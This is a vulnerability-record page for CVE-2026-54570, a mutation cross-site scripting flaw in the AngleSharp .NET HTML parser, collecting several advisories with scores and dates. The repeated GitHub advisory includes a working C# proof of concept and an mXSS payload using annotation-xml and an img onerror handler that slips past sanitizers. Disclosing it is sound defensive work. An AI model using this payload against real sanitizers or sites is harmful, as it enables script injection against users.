CVE-2026-54570
No CISA KEV listing is included in this saved record. Exploitation may still have occurred.
FIRST EPSS: 0.33 % · percentile 26.57 % · scored 12 Nov 2026.
Saved 12 Nov 2026 18:18:51 UTC · View this risk record (JSON)
CVE-2026-54570
AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
CVSS 3.1 6.9 MEDIUMEUVD CVSS 3.1 6.9 CVSS 3.1 · [email protected] · Secondary 6.9 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by AngleSharp 1.5.0KEV status unknown
cve-program · CVE-2026-54570
PublishedAngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Read the publisher's advisoryeuvd · EUVD-2026-61128
PublishedAngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Read the publisher's advisorynvd · CVE-2026-54570
PublishedAngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Read the publisher's advisoryosv · GHSA-pgww-w46g-26qg
Published### Summary The HTML specification requires that a MathML `<annotation-xml>` element with `encoding="text/html"` or `encoding="application/xhtml+xml"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML. AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding="text/html"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable: - Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode). - Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. _See [Escape "<" and ">" in attributes when serializing HTML #6235 ](https://github.com/whatwg/html/issues/6235)_ ### Details In `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`): ```cs // Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped) ``` Because `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard. In `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`): ```cs // Escapes & " and \u00A0, but NOT < or > case Symbols.Ampersand: stringBuilder.Append("&"); break; case Symbols.NoBreakSpace: stringBuilder.Append(" "); break; case Symbols.DoubleQuote: stringBuilder.Append("""); break; default: stringBuilder.Append(value[i]); break; // < and > pass through raw ``` ### PoC The following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger. ```cs using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = "<math>" + "<annotation-xml encoding=\"text/html\">" + "<title><a encoding=\"</title><img src=x onerror=alert()>\">" + "</annotation-xml></math>"; public static void Main() { var parser = new HtmlParser(); Check(parser, Payload1, "IMG", "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)", "AngleSharp found <img> – SAFE"); } static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e => e.TagName).ToHashSet(); var found = tags.Contains(tag); Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine("Serialized output:"); Console.WriteLine(doc.DocumentElement.OuterHtml); } } ``` Output: ``` AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization) Serialized output: <html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html> ``` _The `title` tag may be swapped out for `style` and other RCDATA elements._ When a browser receives this string and parses `annotation-xml encoding="text/html"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler. ### Impact Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions. This reduces AngleSharp's credibility as a conformant HTML parser.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-54570
PublishedAngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
- Source published
- 18 Aug 2026 17:39:51 UTC
- Source modified
- 18 Aug 2026 19:27:44 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
euvd · EUVD-2026-61128
PublishedAngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 18, 2026, 5:39:51 PM
dateUpdated: Aug 18, 2026, 7:27:44 PM
- Source published
- Aug 18, 2026, 5:39:51 PM (timezone not stated)
- Source modified
- Aug 18, 2026, 7:27:44 PM (timezone not stated)
- Saved here
- 11 Nov 2026 14:00:45 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
nvd · CVE-2026-54570
PublishedAngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding a…
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-80
Original publisher date fields
published: 2026-08-18T18:18:23.310
lastModified: 2026-09-18T20:09:01.757
- Source published
- 18 Aug 2026 18:18:23 UTC
- Source modified
- 18 Sep 2026 20:09:01 UTC
- Saved here
- 25 Oct 2026 13:17:28 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
osv · GHSA-pgww-w46g-26qg
PublishedAngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
### Summary The HTML specification requires that a MathML `<annotation-xml>` element with `encoding="text/html"` or `encoding="application/xhtml+xml"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML. AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding="text/html"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable: - Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode). - Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. _See [Escape "<" and ">" in attributes when serializing HTML #6235 ](https://github.com/whatwg/html/issues/6235)_ ### Details In `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`): ```cs // Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped) ``` Because `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard. In `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`): ```cs // Escapes & " and \u00A0, but NOT < or > case Symbols.Ampersand: stringBuilder.Append("&"); break; case Symbols.NoBreakSpace: stringBuilder.Append(" "); break; case Symbols.DoubleQuote: stringBuilder.Append("""); break; default: stringBuilder.Append(value[i]); break; // < and > pass through raw ``` ### PoC The following program demonstrates that AngleSharp’s parser misses the injected `<img>` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `<img onerror>` trigger. ```cs using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = "<math>" + "<annotation-xml encoding=\"text/html\">" + "<title><a encoding=\"</title><img src=x onerror=alert()>\">" + "</annotation-xml></math>"; public static void Main() { var parser = new HtmlParser(); Check(parser, Payload1, "IMG", "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)", "AngleSharp found <img> – SAFE"); } static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e => e.TagName).ToHashSet(); var found = tags.Contains(tag); Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine("Serialized output:"); Console.WriteLine(doc.DocumentElement.OuterHtml); } } ``` Output: ``` AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization) Serialized output: <html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html> ``` _The `title` tag may be swapped out for `style` and other RCDATA elements._ When a browser receives this string and parses `annotation-xml encoding="text/html"` as an HTML integration point, the `</title>` closes the title element and the `<img>` fires its onerror handler. ### Impact Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions. This reduces AngleSharp's credibility as a conformant HTML parser.
- Source published
- 17 Jul 2026 21:17:10 UTC
- Source modified
- 17 Jul 2026 21:41:39 UTC
- Saved here
- 23 Oct 2026 16:01:25 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
Publisher rating · MODERATE